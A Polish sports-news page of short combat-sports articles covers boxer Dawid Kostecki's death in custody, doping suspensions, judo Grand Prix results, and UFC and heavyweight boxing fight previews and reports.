Kostecki popełnił samobójstwo w celi Aresztu Śledczego w Warszawie-Białołęce. 38-latek odbywał karę pięciu lat i stu dniapozbawienia wolności za kierowanie grupą przestępczą, która zajmowała się m.in. praniem brudnych pieniędzy i handlem narkotykami. Do końca pobytu w więzieniu pozostały mu dwa lata.

W zawodowej karierze Kostecki wygrał 39 walk, w tym 25 przez nokaut. Dwukrotnie schodził z ringu pokonany. Na swoim koncie zapisał tytuł młodzieżowego mistrza świata WBC w wadze półciężkiej. W tej samej kategorii zdobywał pasy federacji WBF i IBC. Zapisał na swoim koncie również interkontynentalne mistrzostwo WBA.

Kariera Kosteckiego zapowiadała się bardzo dobrze. Swego czasu "Cygan" był jednym z najpopularniejszych polskich bokserów. W ringu prezentował się znakomicie i większość walk kończył przed czasem. W 2005 roku stoczył pojedynek w Stanach Zjednoczonych, gdzie pokonał Tuckera Lamberta. Pierwszą porażkę poniósł w maju 2006 roku na ringu w Krośnie. Kostecki został znokautowany przez Rachida Kanfouaha w starciu o wakujący tytuł IBC. Na drodze jego rozwoju stawały… problemy z prawem.

Jeszcze zanim wszedł na zawodowy ring, spędził rok w więzieniu za pobicie. Później sąd kilkukrotnie skazywał go na karę pozbawienia wolności m.in. za założenie i współkierowanie grupą przestępczą. W 2012 roku Kostecki miał walczyć z wielkim Royem Jonesem Jr., jednak na dziesięć dni przed walką został zatrzymany. To było wydarzenie, którego w głównej mierze wpłynęło na dalszą karierę sportową Kosteckiego. Po pobycie w więzieniu wrócił na ring w listopadzie 2014 roku. Stoczył pojedynek z Andrzejem Sołdrą, który przegrał. Później okazało się, że stosował niedozwolone środki i został zawieszony na dwa lata. Chciał spróbować swoich sił w MMA, jednak w listopadzie 2015 roku w ciężkim stanie trafił do szpitala. Spekulowano, że Kostecki próbował popełnić samobójstwo.

2 sierpnia otrzymaliśmy smutną informację. Dawid „Cygan” Kostecki nie żyje. Miał zaledwie 38 lat.

KM

Faworyt Kownacki

Adam Kownacki jest faworytem starcia z Chrisem Arreolą. Pojedynek odbędzie się w nocy z soboty na niedzielę (3-4 sierpnia) w Barclays Center na Brooklynie.

Arreola ma ambicje i nie ukrywa, że nadal marzy o zdobyciu tytułu mistrza świata. Coraz częściej w gronie kandydatów do rywalizacji o pasy wymienia się Adama Kownackiego. Polak świetną postawą znalazł się wśród czołowych pięściarzy wagi ciężkiej. W Barclays Center stoczy walkę z doświadczonym i mocnym rywalem, na którego musi uważać. Arreola aż 33 z 38 wygranych zanotował przed czasem. Faworytem pojedynku jest jednak 30-letni bokser urodzony w Łomży. Jest osiem lat młodszy od Amerykanina, który tak naprawdę ma ostatnią szansę na przybliżenie się do wielkich walk. Jeśli przegra, zostanie z tyłu stawki.

W marcu Arreola pokonał przed czasem Jeana Pierre Augustina, zaś wcześniej odprawił Maurenzo Smitha. Z kolei w 2016 roku dostał szansę na zdobycie pasa WBC. Nie znalazł jednak sposobu na Deontaya Wildera, który mocno go obił. Arreola nie wyszedł do dziewiątej rundy. To nie była pierwsza mistrzowska szansa Arreoli. Wcześniej poległ w starciach z Bermane Stivernem oraz Witalijem Kliczko. W kwietniu 2010 roku Amerykanin przegrał z Tomaszem Adamkiem.

Kownacki zmierzy się z rywalem o wyrobionej marce, jednak na tę chwilę to popularny „Baby Face” jest na fali. Rozgłosu nadała mu wygrana z Arturem Szpilką, ale do tego zwycięstwa podchodzono z dystansem. Z pewnością spowodowane to było "brzuszkiem" Kownackiego. Ruiz Jr. udowodnił, że to żadna przeszkoda do odniesienia sukcesu. Kownacki pokonał Iago Kiladze, jednak wygrana z byłym mistrzem świata IBF Charlesem Martinem stanowiła najlepszy dowód jego umiejętności. W tym roku "Baby Face" wprawił bokserski świat w zachwyt. Styczniową walkę z Geraldem Washingtonem zakończył w drugiej rundzie! Szybciej niż sam mistrz WBC Deontay Wilder.

Cel jest prosty – pokonać Arreolę, a potem droga będzie otwarta. W wadze ciężkiej dzieje się wiele. Dawno tak ciekawie nie było. Tym bardziej cieszy fakt, że w czołówce znajduje się Polak. Co do najbliższej walki Kownackiego, Arreola zapowiada nokaut, Polak również jest pewny swego. Obaj potrafią efektownie wygrywać przed czasem. Czeka nas gorąca noc na Brooklynie.

Fot. Adam Kownacki Facebook

KM

WBC zawiesiło Whyte’a

Federacja WBC podjęła decyzję o tymczasowym zawieszeniu Diliana Whyte'a. Decyzja jest pokłosiem pozytywnego wyniku kontroli antydopingowej u boksera.

20 lipca Whyte pokonał na dystansie dwunastu rund Oscara Rivasa. Pojedynek mógł podobać się kibicom, a zwycięstwo przybliżyło 31-latka do starcia o pas WBC z Deontayem Wilderem. Okazało się jednak, że Anglik przed starciem z Rivasem wpadł na kontroli antydopingowej. Walka się odbyła, ponieważ wyraziły na nią zgodę organizacje BBBofC oraz UKAD, które przystały na argumentację boksera.

Federacja WBC prowadzi własne śledztwo w sprawie. Whyte będzie miał okazję do zaprezentowania swoich racji. Grozi mu zawieszenie od czterech do ośmiu lat. Na tę chwilę został pozbawiony statusu challengera i tymczasowego tytułu WBC.

Poniżej prezentujemy treść oświadczenia WBC w sprawie Whyte’a.

„Próbka UKAD „A” pobrana od pana Dilliana Whyte'a w związku z jego walką z Oscarem Rivasem dała wynik pozytywny. W świetle tej wiadomości i w oczekiwaniu na wynik własnego postępowania, WBC tymczasowo zawiesza Dilliana Whyte jako tymczasowego mistrza WBC i obowiązkowego pretendenta do tytułu. WBC powiadomiła pana Whyte'a i jego zespół o zawieszeniu. WBC pozwoli Whyte'owi na przedstawienie swojego stanowiska podczas przesłuchania śledczego, którego miejsce i czas zostaną podane w przyszłości. W trakcie dochodzenia i przesłuchań WBC umożliwi Panu Whyte'owi i jego zespołowi możliwość przedstawienia wszelkich dostępnych informacji i materiałów oraz wszelkich dowodów odciążających, które mogą uznać za stosowne”.

Nad głową Whyte'a zbierają się czarne chmury. Wydawało się, że wykonał krok w stronę najważniejszej walki w karierze. Jednak teraz został zepchnięty do defensywy. Zapewne wynik jego walki z Rivasem zostanie zweryfikowany i pojedynek będzie uznany za nieodbyty. W ostatnim czasie Whyte prezentował się znakomicie w ringu. Zanotował dziewięć kolejnych zwycięstw i stanął do rywalizacji z Rivasem. W karierze przegrał tylko raz – w 2015 roku z Anthony'm Joshuą.

Warto dodać, że to nie pierwsze problemy 31-latka z zakazanymi substancjami. W 2012 roku został zawieszony na dwa lata.

Fot. Dillian Whyte Facebook

KM

Golomb trzeci, Pacut piąta

Tomer Golomb (60kg) zajął trzecie miejsce w zawodach Grand Prix w judo, które odbyły się w Zagrzebiu. Piąta była Beata Pacut (78kg).

Dla Tomera Golomba start w Zagrzebiu miał wyjątkowy charakter, ponieważ urodzony w Izraelu judoka debiutował w biało-czerwonych barwach. W 20-latku pokładane są spore nadzieje. Mający polskie korzenie Golomb w wieku 18 lat zdobył mistrzostwo Izraela seniorów. Pokazał się również na arenie międzynarodowej. W 2015 roku zajął piąte miejsce w mistrzostwach Europy kadetów w Sofii. Na swoim koncie ma również medale Pucharów Europy. Wygrał zmagania kadetów w Berlinie w 2015 roku oraz był najlepszy wśród juniorów w Lignano i Arad w 2017 roku.

Golomb zaliczył debiut marzenie. W Zagrzebiu stanął na najniższym stopniu podium, a po drodze pokonał byłego mistrza świata Boldbaatara Ganbata. Na początek zmagań w Grand Prix reprezentant Polski wygrał z rywalem z Indii. Kumar Vijay Yadav po upływie minuty schodził pokonany z tatami. Również przez ippon Golomb wygrał z Boldbaatarem. Wygrana z byłym mistrzem świata kadetów Mihracem Akkusem pozwoliła znaleźć się 20-latkowi w strefie medalowej. Na drodze do finału reprezentantowi Polski stanął doświadczony Brytyjczyk Ashley McKenzie. W piątej walce, której stawką był brązowy medal Golomb w 40. sekund rozprawił się z Dauren Syukenovem z Kazachstanu.

Na pierwsze tegoroczne podium nadal czeka Beata Pacut. W Zagrzebiu zawodniczka Czarnych Bytom wygrała trzy walki. O wejście do finału przyszło jej rywalizować z mistrzynią świata z 2015 roku Mami Umeki. Japonka znajduje się w wyśmienitej formie i na arenie międzynarodowej regularnie plasuje się na podium. Umeki pokonała Pacut przez ippon. Polce pozostała walka o brąz z Karlą Prodan. 20-latka walczyła ambitnie i skutecznie, co dało jej pierwsze w karierze podium zawodów Grand Prix. Pacut musiała zadowolić się piątą pozycją.

Na siódmej pozycji rywalizacją zakończyła Daria Pogorzelec (70kg). Taki sam wynik zanotował Maciej Sarnacki (+100kg). W Zagrzebiu zaprezentowało się 19 judoczek i judoków z Polski.

KM

Błachowicz gotowy na Jonesa

Jan Błachowicz marzy o walce o pas mistrzowski UFC w wadze półciężkiej. "Cieszyński Książę" gotowy jest zmierzyć się w listopadzie z czempionem Jonem Jonesem.

Błachowicz na dobre zadomowił się w UFC i stał się czołową postacią kategorii półciężkiej. Jego akcje poszły w górę po efektownym zwycięstwie nad Lukiem Rockholdem podczas UFC 239. W T-Mobile Arenie zaprezentował się również mistrz Jones, który decyzją sędziów pokonał Thiago Santosa. Warto wspomnieć, że w lutym w Pradze Brazylijczyk pokonał Błachowicza. Gdyby wtedy wynik rywalizacji był inny, "Jon" mógłby mieć zmagania o pas za sobą. Ale co się odwlecze…

Marzeniem Błachowicza jest rywalizacja o pas mistrzowski. W rankingu wagi półciężkiej zajmuje piąte miejsce, więc walka jest blisko. W zasadzie na wyciągniecie ręki. Przed nim są Dominick Reyes, Anthony Smith, Thiago Santos oraz Daniel Cormier. Niewykluczone, że na drodze Polaka stanie któryś z wymienionych zawodników. Należy się spodziewać Smitha bądź Reyesa. Jednak wcale nie musi tak być. Błachowicz zabiega o walkę z Jonesem i postanowił wysunąć Amerykaninowi propozycję za pośrednictwem Twittera. Czempion zasugerował, że pojawi się w listopadzie w Madison Square Garden. Błachowicz zareagował konkretnie. – Hej! Mój kalendarz mówi, że to bardzo dobra opcja. Zróbmy to. Co Ty na to? – napisał polski fighter.

Jones to czołowa postać UFC. Przegrał tylko raz w karierze, jest maszynką do wygrywania. Gdyby nie jego dopingowe problemy byłby żywą legendą MMA. W grudniu 2018 roku po raz kolejny zdobył pas. W tym roku stoczył dwie walki. W marcu pokonał Smitha, a kilka tygodni temu wspomnianego już Santosa. Bilans Błachowicza jest nieco inny – porażka i zwycięstwo. Polak jest opromieniony triumfem nad Rockholdem, za który otrzymał bonus w wysokości 50 tysięcy dolarów. W planach Błachowicza i Jonesa jest jeszcze jedna walka w tym roku. Nic nie stoi na przeszkodzie, aby byli jej bohaterami. Bez wątpienia dla polskiego MMA byłoby to wydarzenie roku.

Jan Błachowicz ma na koncie siedem zwycięstw w UFC, pięć pojedynków przegrał.

Fot. Jan Błachowicz Facebook

KM

Wielki rewanż?

Manny Pacquaio ciągle czuje głód rywalizacji. Pokonując Ketitha Turmana Filipińczyk zdobył pas mistrza świata wagi półśredniej WBA. Na "Pacmana" czekają kolejne wyzwania. Może będzie nim rewanż z Floydem Mayweatherem Jr?

Popularny "Money" oglądał poczynania Pacquiao w MGM Grand w Las Vegas. Walka "Pacmana" z Thurmanem była niezwykle emocjonująca. Już w pierwszej rundzie Amerykanin znalazł się na deskach. Nie brakowało ciosów z obu stron, tempo było imponujące. Chwilami widać było zmęczenie po pięściarzach, ale każdy z nich dawał z siebie wszystko, aby osiągnąć cel. Po dwunastu rundach z kolejnego sukcesu w karierze cieszył się Pacquiao.

Okazało się, że 40-latek może. Na kolejny pojedynek Pacquiao przyjdzie trochę poczekać. Filipińczyk ma pojawić się w ringu wiosną 2020 roku. Już ruszyła giełda nazwisk potencjalnych rywali. Wysoko stoją akcje Errola Spence'a, który 28 września zmierzy się z Shawnem Porterem. Na szali pasy IBF i WBC. Co prawda kandydatem do starcia z Pacquiao ma być zwycięzca tej walki, ale 31-latek nie jest stawiany w roli faworyta wrześniowej potyczki. Pojawiają się również nazwiska Terence'a Crawforda czy Danny'ego Garcii. Nie mogło zabraknąć również Floyda Mayweathera Jr. W zasadzie emeryta, który na boks patrzy z boku.

Pięściarze spotkali się 2 maja 2015 roku. Na tę walkę czekał cały świat. Lepszy okazał się "Money", a pojedynek był finansowym sukcesem. Obaj zmierzali w kierunku z napisem "koniec kariery". Pacquiao postanowił wrócić, Mayweather pokonał Andre Berto i wyśrubował rekord 50 wygranych. Bilans nieskazitelny. Ale skusił się na walkę z… zawodnikiem MMA. W sierpniu 2017 roku pokonał Conora McGregora, potem wystąpił jeszcze w pokazowym pojedynku w Japonii.

Ponowne spotkanie Mayweathera z Pacquaio byłoby ogromnym wydarzeniem. "Money" trzyma jednak dystans… – Za każdym razem, gdy nazwisko Pacquiao pojawia się w mediach, moje jest z nim związane – napisał Mayweather Jr. w mediach społecznościowych. – Cała kariera tego człowieka została zbudowana na podstawie jego związku z moim imieniem – dodał.

Okazuje się, że amerykański pięściarz podjął się nowego wyzwania. Mayweather Jr. ma być doradcą chińskiej reprezentacji bokserskiej i pomóc jej osiągnąć jak najlepsze wyniki podczas Igrzysk Olimpijskich w Tokio.

Fot. Manny Pacquiao Facebook

KM

Po ósmą wygraną

27 lipca Krzysztof Jotko stoczy 25. walkę w karierze. Zarazem będzie to dwunasty pojedynek polskiego fightera w UFC. Dotychczas 30-latek zanotował siedem zwycięstw w amerykańskiej organizacji.

Krzysztof Jotko zaprezentuje się podczas gali UFC 240 w Rogers Place w Edmonton. Jego przeciwnikiem będzie reprezentant Kanady Marc-Andre Barriault. Trudno porównywać doświadczenie obu zawodników. Jotko stoczył blisko dwa razy więcej pojedynków niż Kanadyjczyk. Ponadto, polski zawodnik doskonale zna smak rywalizacji w UFC, dla której to organizacji pierwszą walkę stoczył blisko sześć lat temu! Od 2013 roku Jotko zaliczył 11 pojedynków dla amerykańskiego giganta – siedem wygrał, cztery przegrał. Z kolei Barriault zadebiutował w UFC w maju br. W Ottawie (UFC Fight Night 151) 29-letni Kanadyjczyk przegrał decyzją sędziów z Andrew Sanchezem. Wcześniej Marc-Andre Barriault z powodzeniem rywalizował w organizacji TKO. Na swoim koncie zapisał pasy mistrzowskie w kategoriach półciężkiej i średniej. Osiem z jedenastu wygranych walk rozstrzygnął przed czasem. Atutem Kanadyjczyka jest stójka.

Faworytem sobotniej rywalizacji będzie Jotko, który w kwietniu wrócił do rywalizacji po kontuzji. Podczas gali UFC on ESPN+7 Polak pokonał jednogłośną decyzją Alena Amedovskiego. Był to ważny triumf dla zawodnika urodzonego w Elblągu. Wcześniejsze trzy walki w UFC Jotko przegrał, więc jego sytuacja wyglądała nie najlepiej. Wrócił w dobrym stylu i musi iść tą drogą. Teraz będzie chciał dopisać do swojego dorobku ósmą wygraną w amerykańskiej organizacji. Na ostatniej prostej przed walką Jotko trenuje boks pod okiem Zbigniewa Raubo.

W Edmonton zaprezentuje się również Cristiane Justino. Popularna "Cyborg" w grudniu doznała pierwszej porażki w UFC, a drugiej w karierze. Po pięćdziesięciu sekundach walki Justino została znokautowana przez Amandę Nunes. W Edmonton rywalką Brazylijki będzie niepokonana Felicia Spencer.

Do trzech razy sztuka – to stwierdzenie idealnie opisuje zestawienie Maxa Hollowaya z Frankiem Edgarem. Panowie mieli zmierzyć się w grudniu 2017 roku, ale wtedy kontuzji doznał "The Answer". Kolejna próba – marzec 2018 roku. Uraz Hollowaya. W końcu się udało. Podczas UFC 240 Holloway i Edgar w walce wieczoru zmierzą się o pas kategorii piórkowej.

Fot. Krzysztof Jotko Facebook

KM

Jotko i „Juras” ostro o krytyce Szpilki

Po przegranej walce z Dereckiem Chisorą, na Artura Szpilkę wylała się fala krytyki. W obronie boksera stanęli Krzysztof Jotko oraz Łukasz „Juras” Jurkowski.

W Londynie „Szpila” poniósł czwartą porażkę na zawodowym ringu. Od początku Dereck Chisora ruszył na Polaka, a w drugiej rundzie wyprowadził potężny prawy sierp. Szpilka był zamroczony. Chisora nie mógł zmarnować takiej okazji i posłał Polaka na deski.

Po walce na Szpilce „nie pozostawiono suchej nitki”. Eksperci podkreślali, że ta porażka zamyka bokserowi rywalizację na światowym poziomie. Pozostają mu zmagania na krajowym podwórku. Wiadomo, że kariera Szpilki znalazła się na zakręcie. Pięściarz musi dokładnie przemyśleć i przeanalizować swoją sytuację. Kibice nie szczędzili krytyki zawodnikowi. Nie brakowało kąśliwych komentarzy na temat umiejętności Szpilki. Ponadto, nie szczędzono mocnych słów i wyzwisk.

Wobec takich zachowań obojętny nie pozostał zawodnik UFC Krzysztof Jotko. Cała sytuacja wywołała w nim ogromne emocje. – Zazdrość i zawiść w naszym kraju to chyba wrodzona wada albo głupota nie spełnionych ludzi którzy szydzą z potknięć sportowców. Sami w życiu nigdy nic nie osiągneli siedząc w wiosce zabitej dechami albo ławce pod blokiem,jest łatwo krytykować nas sportowców którzy maja ambicje i marzenia do których darzymy na dobre czy na złe. Zamiast wspierać sportowców którzy reprezentują nasz kraj na światowych arenach łatwiej jest siedzieć w domu i rzucać obelgi i wyzwiska To k…a jest chore rzygać się chce kiedy się to czyta (pisownia oryginalna) – napisał Jotko w mediach społecznościowych. – Artur Szpilka nie miał wczoraj (20 lipca – red.) udanego dnia niestety przegrał ale próbował !! zaszedł bardzo wysoko, poświęca się na treningach miał dużo wyrzeczeń przed walka, reprezentuje nasz kraj a wy nigdy nie będziecie na jego miejscu i zamiast go wspierać po porażce jeszcze kopiecie leżącego i szydzicie z niego… Opanujcie się i lepiej w ogóle nie odzywajcie – dodał.

Do krytyki Szpilki odniósł się również Łukasz „Juras” Jurkowski. – Łatwo się szydzi z niepowodzenia sportowca, mieszając z błotem, wyzywając od najgorszych, zawsze czekając z utęsknieniem na jego potknięcie. Przecież nie może mieć za dobrze! On jednak miał w życiu marzenia, cel i siłę aby je spełnić. Zaryzykował wszystko aby być na szczycie, a jego prześmiewcy jedyne co zaryzykowali to zamówienie ostrego kebsa liczàc, że rano nie będzie piekło tak bardzo. „Na Jego miejscu to…” STOP! Nigdy nie będziecie na Jego miejscu. Pogódźcie się z tym albo zróbcie cokolwiek aby wyjść z cienia internetowej anonimowości. Zobaczycie jak sport, praca i determinacja uczy charakteru i zmienia światopogląd (pisownia oryginalna) – skomentował w mediach społecznościowych zawodnik MMA.

KM

ONA #4: Gościem Ewa Piątkowska

ONA #4: Zapraszamy na czwarty odcinek programu o kobietach dla kobiet. Monika Porażyńska​ w rozmowie z Ewą Piątkowską​ pokaż kawałek życia naszej super pięściarki z zupełnie innej strony. Poznamy trochę jej życie osobiste, marzenia, co lubi a czego nie. Staramy się abyście poznali nasze bohaterki jako kobiety a nie tylko zawodniczki.

[kod]

Chisora znokautował Szpilkę

Szybkie rozstrzygnięcie w walce Derecka Chisory z Arturem Szpilką. Pochodzący z Zimbabwe bokser wygrał przez nokaut w drugiej rundzie.

Artur Szpilka nie będzie miło wspominał wizyty w Londynie. Pierwsza runda starcia z Dereckiem Chisorą zapowiadała ciekawą walkę. Lepiej rywalizację zaczął 36-latek, który trafił mocnym prawym. Po chwili Szpilka „odwdzięczył”się lewym. Z czasem widać było, że Chisora zaczyna czuć się coraz pewniej. Spychał Szpilkę pod liny i słał w jego stronę kolejne ciosy. Polak starał się odpowiadać, jednak musiał zachować szczególną ostrożność. Szpilka dotrwał do gongu, a w drugiej rundzie przeżył prawdziwy dramat. Potężny prawy sierpowy Chisory zamroczył „Szpilę”. Takiej szansy Brytyjczyk nie mógł zmarnować. Seria – prawy, lewy i Szpilka bezwładnie padł na deski. Przez kilkadziesiąt sekund polski pięściarz leżał na ziemi nieprzytomny. Cała sytuacja wyglądała dramatycznie, jednak Polak podniósł się o własnych siłach.

Przed pojedynkiem mówiło się wiele, że starcie zakończy się przed czasem. Tak też się stało… Walka w Londynie miała dać odpowiedź, co do przyszłości Artura Szpilki. Wygrana z Chisorą byłaby trampoliną do walk o najwyższe cele. Teraz prawdopodobnie 36-letni pochodzący z Zimbabwe bokser zmierzy się z byłym mistrzem WBO Josephem Parkerem. Co ze Szpilką? Prawda jest brutalna – w tej chwili pozostaje mu rywalizacja na krajowym podwórku. Szpilka ponownie będzie musiał zbudować swoją pozycję, ale czeka go mozolna praca, która wymaga cierpliwości. Zawsze trzeba wierzyć również w łut szczęścia…

Dla 36-letniego Chisory wygrana ze „Szpilą” to przepustka do „drugiej młodości”. Brytyjczyk ma jeszcze szansę, liczy na „coś więcej'. W Londynie zaprezentował się efektownie i dał pokaz swojej siły. Przy okazji dał sygnał, że nie myśli jeszcze o emeryturze.

W Londynie Artur Szpilka zanotował czwartą zawodową porażkę. Wcześniej przegrywał Bryantem Jenningsem, Deontayem Wilderem i Adamem Kownackim. Z kolei Chisora zanotował 31. wygraną.

KM

Zdobyć Londyn

20 lipca może być niezwykle istotnym dniem w karierze Artura Szpilki. Jeśli w Londynie pokona Derecka Chisorę, nadal będzie liczył się w wadze ciężkiej. Porażka może bardzo pokrzyżować mu plany.

Pojedynek pretendentów do pasów mistrzowskich w kategorii królewskiej zapowiada się niezwykle interesująco. Obaj słyną z impulsywności i ostrego języka. Jednak konferencja prasowa przed walką przebiegała spokojnie. Spotkanie twarzą w twarz również bez ekscesów. Szpilka zaprezentował się w garniturze i spokojnie patrzył na ubranego w t-shirt oraz czapeczkę Chisorę. Brytyjczyk pierwszy spuścił wzrok, chwila dla fotoreporterów i po sprawie.

W ringu spokojnie na pewno nie będzie. Spotkają się pięściarze o sporym potencjale i doświadczeniu, jednak obecnie znajdujący się poza światową czołówką. Pojedynek w O2 Arena w Londynie jest dla obu szansą na przypomnienie o sobie i zgłoszenie akcesu do rywalizacji z najlepszymi. Wiadomo, że zwycięzca może być tylko jeden. Dla przegranego nadejdą trudne dni.

Dla popularnego "Szpili" będzie to pierwsza walka zagranicą od porażki z Adamem Kownackim w lipcu 2017 roku. Potem pięściarz pochodzący z Wieliczki rywalizował w kraju. Pokonał Dominicka Guinna i Mariusza Wacha. Jednak piętno na jego miejscu w światowym zestawieniu (25. pozycja w rankingu boxrec.com) odcisnęła porażka z Adamem Kownackim. Szpilka przegrał bój o pas WBC z Deontayem Wilderem, ale w tej walce pokazał się z dobrej strony. Wytrzymał z Amerykaninem dziewięć rund.

W Londynie Szpilka zmierzy się z Chisorą (17. w rankingu), który w tych najważniejszych starciach zawodził. Na swoim koncie ma starcie o pas mistrzowski WBC. W 2012 roku stanął do rywalizacji z Witalijem Kliczko. Chisora toczył zaciętą walkę z ukraińskim mistrzem, ale przegrał jednogłośną decyzją sędziów. Sukcesywnie jego pozycja w hierarchii wagi ciężkiej słabła. Przegrał wielką wojnę o prymat na Wyspach Brytyjskich z Davidem Hayem, nie znalazł sposobu na Dilliana Whyte'a. Odnosił zwycięstwa w starciach z mniej znanymi rywalami. Z mocniejszych nazwisk na koncie ma triumf z Kevinem Johnsonem, ale Kubrat Pulev i Tyson Fury byli dla Chisory za mocni. Ostatnio pochodzący z Zimbabwe pięściarz pokonał Senada Gashiego.

Szpilka będzie rywalizował o 23. zwycięstwo na zawodowym ringu. Chisora ma na koncie 30. wygranych pojedynków. Któryś licznik, choć na chwilę, stanie w miejscu.

Fot. mat. organizatora/Facebook

KM

ONA #2: Gościem programu Iwona Guzowska

ONA #2: Zapraszamy na drugi odcinek programu o kobietach dla kobiet. Monika Porażyńska​ w rozmowie z Iwoną Guzowską​ pokazuje nasze fighterki z zupełnie innej strony. Poznamy ich życie osobiste, marzenia, co lubią a czego nie. Postaramy się abyście poznali nasze bohaterki jako kobiety a nie tylko zawodniczki.

[kod]

ONA #3: Gościem programu Karolina Koszela

ONA #3: Zapraszamy na trzeci odcinek programu o kobietach dla kobiet. Monika Porażyńska​ w rozmowie z Karoliną Koszelą​ pokazuje nasze fighterki z zupełnie innej strony. Poznamy ich życie osobiste, marzenia, co lubią a czego nie. Postaramy się abyście poznali nasze bohaterki jako kobiety a nie tylko zawodniczki.

[kod]

Były mistrz świata nie żyje

Smutna wiadomość dla świata judo. W wieku 36 lat zmarł były mistrz świata Craig Fallon.

Dla całego środowiska judo to ogromny szok. Fallon był czołową postacią tej dyscypliny w Wielkiej Brytanii, odnosił sukcesy na arenie międzynarodowej. W 2003 roku wywalczył srebrny medal na mistrzostwach świata w Osace w kategorii do 60kg. Dwa lata później nie miał sobie równych w Kairze. Fallon stanął na najwyższym stopniu podium i zapisał się w historii brytyjskiego judo, ponieważ został trzecim zawodnikiem, który zdobył złoto w światowym czempionacie. Na swoim koncie zapisał również mistrzostwo Europy. Triumfował także w Pucharze Świata w Birmingham. Brał udział w igrzyskach olimpijskich w Atenach i Pekinie. Karierę sportową zakończył w 2011 roku, jednak cały czas był związany z judo. Był trenerem w Austrii, niedawno został szefem Walijskiego Związku Judo.

Craig Fallon odszedł przedwcześnie, miał zaledwie 36 lat. Przyczyny jego śmierci nie są znane. Fallon zaginął w sobotę (13 lipca – red.), a jego ciało znaleziono dzień później na wzgórzu The Werkin. Sprawą zajmuje się policja.

– Jego oddanie sportowi, który kochał, pozostanie ze mną na zawsze i będę wspominać czas, który spędziliśmy razem – powiedział w rozmowie z BBC Fitzroy Davis – były trener mistrza świata z Kairu. – Odejście Craiga to ogromna strata, ale mam nadzieję, że jego osiągnięcia i niesamowita historia będą inspiracją dla przyszłych pokoleń – dodał.

Wsparcie najbliższym Fallona zaoferował prezydent Światowej Federacji Judo Marius Vizer. – To naprawdę tragiczna strata dla naszego sportu. W imieniu IJF przesyłam kondolencje rodzinie i przyjaciołom Craiga. Oferujemy nasze wsparcie w tym trudnym czasie – powiedział cytowany przez oficjalną stronę federacji.

Cały sportowy świat ubolewa nad odejściem Fallona. Zawodnika zaangażowanego i gotowego na podejmowanie kolejnych wyzwań. Fallon zapisał się w historii judo, pozostanie w pamięci i zapewne będzie inspiracją dla tych, którzy podążają sportową drogą.

KM

Izu: Wiem, że zawiodłem

Trudne chwile przeżywał ostatnio Izuagbe Ugonoh. 32-letni bokser w kiepskim stylu przegrał w Rzeszowie z Łukaszem Różańskim. – Nie chce już nic więcej udowadniać – napisał w mediach społecznościowych Ugonoh.

Trzy lata temu Izu notował kolejne zwycięstwa, czym zapracował na walkę z Dominicem Breazealem. Jego pierwszy występ w Stanach Zjednoczonych zakończył się porażką. Ugonoh wyprowadził w starciu z Breazealem ponad 200 ciosów i był bardzo aktywny. Pięściarze postawili na walkę od samego początku, czego efektem było zwycięstwo Amerykanina w piątej rundzie. Izu przyjął prawy, wstał, ale chwilę później lewy zakończył pojedynek. Jednak wcześniej Breazeale leżał na deskach! Izu pokazał kawał dobrego boksu i rozbudził apetyty kibiców. Na kolejny pojedynek Ugonoha trzeba było czekać ponad rok. W maju 2018 roku w Warszawie na Stadionie Narodowym pokonał Freda Kassiego. Kameruńczyk poddał się po drugiej rundzie. Starcie z Łukaszem Różańskim miało określić przyszłość Izu. Wydawało się, że Ugonoh jest faworytem, bo zawodnik z Rzeszowa co prawda wygrał dziewięć walk przed czasem, ale cały czas pracował na swoje nazwisko. 6 lipca odważnie ruszył na bardziej znanego Izu i wygrał. Różański wstrząsnął bardziej doświadczonym rywalem i rywalizacja zakończyła się w czwartek rundzie, choć nie obyło się bez kontrowersji. Bokser z Rzeszowa jeden z ciosów wyprowadził, gdy Izu był na kolanach.

Dla Ugonoha było to ciężkie doświadczenie. 32-letni pięściarz zwrócił się do kibiców za pośrednictwem mediów społecznościowych. – Przegrałem ostatnią walkę i jest mi bardzo przykro, z dwóch powodów. Po pierwsze zawiodłem mnóstwo ludzi. Promotorów, trenerów Was kibiców i siebie. Po drugie nie wykazałem woli walki, a tym bardziej woli zwycięstwa. Bez tego nie ma co wychodzić do ringu. Niestety dopiero podczas walki dowiadujemy się co w nas drzemie. Odpowiedź która uzyskałem to: nie chce już nic więcej udowadniać. Wygrałem mnóstwo pojedynków w przeszłości a przegrałem tylko parę. Gratuluję Łukaszowi Różanskiemu i jego teamowi. Powodzenia na przyszłość. Wiem ze zawiodłem oczekiwania i nadzieję wiązane z moja osoba. Na szczęście to tylko sport. Jest mi przykro, ale czuje, że jest to początek nowych wielkich rzeczy – napisał Ugonoh.

Izu stoczył łącznie 20 walk na zawodowym ringu. 18 pojedynków wygrał, w tym 15 przed czasem. Dwukrotnie schodził z ringu pokonany.

Fot. izuugonoh Instagram

KM

Będzie rewanż?

Jesienią poznamy triumfatorów drugiej edycji World Boxing Super Series. Nie milkną jednak echa półfinałowej walki Krzysztofa Głowackiego z Mairisem Briedisem. Jeden z organizatorów turnieju Kalle Sauerland uważa, że powinno dojść do rewanżowego starcia.

To co działo się w Rydze może przyprawiać o ból głowy. Festiwal sędziowskich błędów, brutalna postawa Briedisa. Walka zakończyła się w trzeciej rundzie i z wygranej cieszył się Łotysz, który jesienią powalczy o pasy WBO, IBF oraz WBC z Yunierem Dorticosem. – Briedis popełnił faul, ale wcześniej były faule z drugiej strony. Ten Briedisa był bardziej spektakularny, choć nie sądzę, żeby był zamierzony – powiedział Kalle Sauerland dla magazynu "The Ring".

Nie da się ukryć, że Głowacki został skrzywdzony. Zatem najlepszym rozwiązaniem byłby rewanż. Myślę, że po turnieju powinien nastąpić rewanż, to była szalona walka – podkreśla Sauerland.- WBSS nie jest organem zarządzającym, będziemy przestrzegać decyzji WBO – dodaje.

Zatem należy spodziewać się kolejnej szansy dla Głowackiego. Wokół pojedynku w Rydze pojawiło się wiele dyskusji. Strona polska protestowała, bo błędy sędziego oraz zachowanie Briedisa były karygodne. Chodziło po prostu o zasadę fair play. Przegrana przegraną, ale chodzi o styl i sport. Po walce sam Briedis przyznał się do faulu… Teraz powalczy o pasy mistrzowskie…

Cóż pozostaje czekać na rozwój wypadków i wierzyć, że zapewnienia znajdą potwierdzenie w rzeczywistości, co da Głowackiemu szansę na zdobycie mistrzowskich pasów. Jeśli nie Briedis, to Dorticos. Zapewne Głowacki do każdej rywalizacji będzie przygotowany na 100% i zostawi serce w ringu.

